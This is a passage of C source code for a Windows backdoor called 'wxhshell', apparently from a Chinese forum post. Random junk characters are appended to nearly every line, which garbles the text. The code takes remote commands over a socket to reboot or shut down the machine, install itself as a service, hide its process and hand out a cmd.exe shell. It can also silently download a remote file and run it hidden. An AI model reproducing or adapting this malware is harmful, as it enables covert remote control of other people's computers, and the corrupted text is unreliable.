  case '?': { hPePB=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 364`IC( a  
    break; 9g"2^^wD  
  } i||]V*5n  
  // 安装 wN-d'-z/rd  
  case 'i': { scou%K  
    if(Install()) GV69eG3bX#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q;JM$a?5iV  
    else =i*;VFc  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]4]6Qki  
    break; %)I{%~u0  
    } h*$y[}hDuv  
  // 卸载 b8SHg^}  
  case 'r': { AKyUfAj3  
    if(Uninstall()) a (b#  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); lqZ5?BD1  
    else m?fy^>1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ZR?yDgL  
    break; )PuFuf(wz  
    } ?>rW>U6:P  
  // 显示 wxhshell 所在路径 ~W+kiTsD?  
  case 'p': { j=aI9p  
    char svExeFile[MAX_PATH]; DLMM/WJg@  
    strcpy(svExeFile,"\n\r"); uIZ-#q  
      strcat(svExeFile,ExeFile); o`P %&  
        send(wsh,svExeFile,strlen(svExeFile),0); ;he"ph=>  
    break; ,N[7/kT|  
    } _i|t Y4L  
  // 重启 3ojlB|Z  
  case 'b': { giIWGa.a+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @jSYB+D  
    if(Boot(REBOOT)) sVv xHkt@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ime\f*Fg  
    else { ua]o6GlO  
    closesocket(wsh); _EMwm&!  
    ExitThread(0); $?<Z!*x  
    } .=;3d~.]  
    break; V(6Z3g  
    } /1Q(b  
  // 关机 \6<=$vD  
  case 'd': { M .JoHH  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); sy"^?th}b  
    if(Boot(SHUTDOWN)) u\{ g(li-I  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =L:4i\4  
    else { 2h1C9n%j9  
    closesocket(wsh); 87P>IO  
    ExitThread(0); U\;6mK)M^J  
    } ()+ <)hg}2  
    break; ^,8)iV0j_  
    } J )~L   
  // 获取shell bMMh|F  
  case 's': { EzV96+  
    CmdShell(wsh); DV-;4AxxRq  
    closesocket(wsh); 0#&5.Gr)  
    ExitThread(0); [uq$5u  
    break; ?$^2Umt 0  
  } xScLVt<\e  
  // 退出 PuT@}tw  
  case 'x': { l q&wXi  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); YWe"zz  
    CloseIt(wsh); GlT7b/JCG  
    break; Uo>] sNP~  
    } 2hkRd>)&5  
  // 离开 5>j)kx=J9  
  case 'q': { i9A+gtd  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); [[Fx[  
    closesocket(wsh); pDcjwlA%  
    WSACleanup(); 7cO n9fIE  
    exit(1); U($dx.`v#  
    break; {(wHPzq  
        } ac.Ms(D  
  } }mdAM6  
  } ,Bo>E:u  
 H77"  
  // 提示信息 0_"fJ~Y^J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *c*0PdV  
} /fT+^&  
  } (+3Wgl+]/  
xAe~]k_D  
  return; SNE#0L' }  
} V8-oYwOR  
wK-3+&,9  
// shell模块句柄 z3M6V}s4  
int CmdShell(SOCKET sock) w1"nffhO  
{ 8C~]yd  
STARTUPINFO si; MP 2~;T}~  
ZeroMemory(&si,sizeof(si)); "7V2lu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :8+Nid)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 1/-43B  
PROCESS_INFORMATION ProcessInfo; yi%-7[*]=  
char cmdline[]="cmd"; RYl>  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); cwWodPNm  
  return 0; 2e9es  
} fKeT~z{~  
q**G(}K  
// 自身启动模式 D] ~MC  
int StartFromService(void) _DNHc*  
{ j;3[KLmuK%  
typedef struct o1Q7Th  
{ fasgmi}  
  DWORD ExitStatus; Qx47l  
  DWORD PebBaseAddress; 69NQ]{1  
  DWORD AffinityMask; yz*6W zD  
  DWORD BasePriority; EEZw_ 1  
  ULONG UniqueProcessId; Yf~{I-|`q  
  ULONG InheritedFromUniqueProcessId; @kU@N?5e  
}   PROCESS_BASIC_INFORMATION; bk^TFE1l  
J6G(_(d  
PROCNTQSIP NtQueryInformationProcess; E7)= `kSl  
_Bp1co85MQ  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; _b.qkTWUB  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Bw64  
*9c!^ $V  
  HANDLE             hProcess; Fa_VKAq  
  PROCESS_BASIC_INFORMATION pbi; Y> Wu  
/3:q#2'v  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Nn"+w|v[ev  
  if(NULL == hInst ) return 0; u(t#Ze~Y1  
~\3kx]^10  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ^=SD9V  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3UQ;X**F  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); deixy. |  
1, ~SS  
  if (!NtQueryInformationProcess) return 0; %ck]S!}6  
70mpSD3  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Cp]"1%M,  
  if(!hProcess) return 0; Bv. `R0e&  
`z )N,fF  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1YJC{bO  
FH%GIi  
  CloseHandle(hProcess); !o+_T?  
k`p74MWu  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]t*[%4  
if(hProcess==NULL) return 0; $aPfGZ<i  
-x4X O`b  
HMODULE hMod; 0,Y5KE{  
char procName[255]; AT)a :i  
unsigned long cbNeeded; {$^DMANDx  
gzD@cx?V  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0 Ir<y  
Gkxj?)`  
  CloseHandle(hProcess); ;6{@^  
N**g]T 0`  
if(strstr(procName,"services")) return 1; // 以服务启动 ee#): -p  
)){9&5,0:  
  return 0; // 注册表启动 IMl!,(6;  
} ^~HQC*  
?EK?b s  
// 主模块 [wB9s{CX  
int StartWxhshell(LPSTR lpCmdLine) d k<XzO~g  
{ -tI'3oT1  
  SOCKET wsl; -}6xoF?  
BOOL val=TRUE; OOz[-j>'Y+  
  int port=0; W$Yc'E ;  
  struct sockaddr_in door; d{de6 `  
)& <=.q  
  if(wscfg.ws_autoins) Install(); w7n373y%  
y tf b$;|  
port=atoi(lpCmdLine); \yGsr Bl  
{Pu\?Cq  
if(port<=0) port=wscfg.ws_port; wgRs Z  
O8W7<Wc |z  
  WSADATA data; 7 +@qB]Bi<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =}:)y0L  
BMIyskl=i  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   @IP)S[^' t  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I;?X f  
  door.sin_family = AF_INET; y{a$y}7#X  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .+([  
  door.sin_port = htons(port); ^+9sG$T_EV  
`H3.,]  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { iIGbHn,/  
closesocket(wsl); d@3}U6,  
return 1; ]}6w#)]"  
} ZB[Qs   
s{4\xAS>  
  if(listen(wsl,2) == INVALID_SOCKET) { :aIN9;  
closesocket(wsl); %D`,k*X  
return 1; :g\rQazxO  
} LR,7,DH$9'  
  Wxhshell(wsl); ')$NfarQ.  
  WSACleanup(); lw(e3j  
U70]!EaT  
return 0; F("#^$  
[|3>MZ2/  
} 92'wkS  
KYxBVgJ  
// 以NT服务方式启动 @i3bgx>_o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N=)z  
{ i o3yLIy,  
DWORD   status = 0; *+b6B_u]  
  DWORD   specificError = 0xfffffff; <p?&udqD  
 X}6#II  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 8g >b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [!VOw@uz  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; U#o'H @  
  serviceStatus.dwWin32ExitCode     = 0; 6R29$D|HFO  
  serviceStatus.dwServiceSpecificExitCode = 0; 7.+#zyF  
  serviceStatus.dwCheckPoint       = 0; 9=/N|m8.  
  serviceStatus.dwWaitHint       = 0; Bz`yfl2  
kV Rn`n0  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); /+3a n9h  
  if (hServiceStatusHandle==0) return; N6[i{;K@N{  
Gj /3kS~@  
status = GetLastError(); ,s^<X85gp\  
  if (status!=NO_ERROR) -)y%~Zn  
{ S|GWcSg  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; '?yCq$&  
    serviceStatus.dwCheckPoint       = 0; Ab1/.~^  
    serviceStatus.dwWaitHint       = 0; FCc=e{  
    serviceStatus.dwWin32ExitCode     = status; -6Mm#sX  
    serviceStatus.dwServiceSpecificExitCode = specificError; B )JM%r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); O;]?gj 1@  
    return; Sb:T*N0gS  
  } I6LD)?  
SgE/!+{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; =BZ?-mIU  
  serviceStatus.dwCheckPoint       = 0; (HN4g;{  
  serviceStatus.dwWaitHint       = 0; k,Zm GllQ]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); bO/*2oau  
} ,goBq3[%?  
n|4;Hn1V  
// 处理NT服务事件,比如:启动、停止 hD<f3_k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) XL}<1- }  
{ L6i|:D32p  
switch(fdwControl) %E27.$E_  
{ ~-F?Mc  
case SERVICE_CONTROL_STOP: 6b Z[Kt  
  serviceStatus.dwWin32ExitCode = 0; #rYENR[  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7XyOB+aQO  
  serviceStatus.dwCheckPoint   = 0; 4o9$bv  
  serviceStatus.dwWaitHint     = 0; I 2HT2c$  
  { Cj;/Uhs  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r FL$QC2  
  } UlQQP^Na  
  return; .%0ne:5  
case SERVICE_CONTROL_PAUSE: Z]:BYX'  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; yD)"c .  
  break; " B@jfa%  
case SERVICE_CONTROL_CONTINUE: pyW u9  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; BZ F,=v  
  break; }1%r%TikY  
case SERVICE_CONTROL_INTERROGATE: |[cdri^?D  
  break; cQFR]i  
}; twk&-:'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); H*W):j}8  
} %>XN%t'6aT  
| D.C!/69  
// 标准应用程序主函数 P?3{z="LzJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) i.rU&yT%  
{ z4} %TT@^  
hPufzhT  
// 获取操作系统版本 O=jN&<rb  
OsIsNt=GetOsVer(); h#3m4<w(9  
GetModuleFileName(NULL,ExeFile,MAX_PATH); |j_`z@7(  
hE!7RM+Y  
  // 从命令行安装 ]X" / yAn  
  if(strpbrk(lpCmdLine,"iI")) Install(); dA#{Cn;  
F1A1@{8bN  
  // 下载执行文件 `% E9xcD%  
if(wscfg.ws_downexe) { ~r`Wr`]_z  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )XVh&'(r  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;WI]vn  
} te2 Iu%5 z  
'.p? 6k!K  
if(!OsIsNt) { e!o(g&wBj  
// 如果时win9x,隐藏进程并且设置为注册表启动 cj(X2L  
HideProc(); f:%SW  
StartWxhshell(lpCmdLine); 4S *,\q]q  
} !z=pP$81  
else & QY#3yj=  
  if(StartFromService())  ]R Mb,hJ  
  // 以服务方式启动 qiNliJ>40E  
  StartServiceCtrlDispatcher(DispatchTable); "oE*9J?e  
else K ~>jApZ%  
  // 普通方式启动 ~5t?C<wo  
  StartWxhshell(lpCmdLine); xtJAMo>g  
7>x;B  
return 0; A'DVJ9%xB  
}
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只看该作者 1 发表于: 2006-10-10
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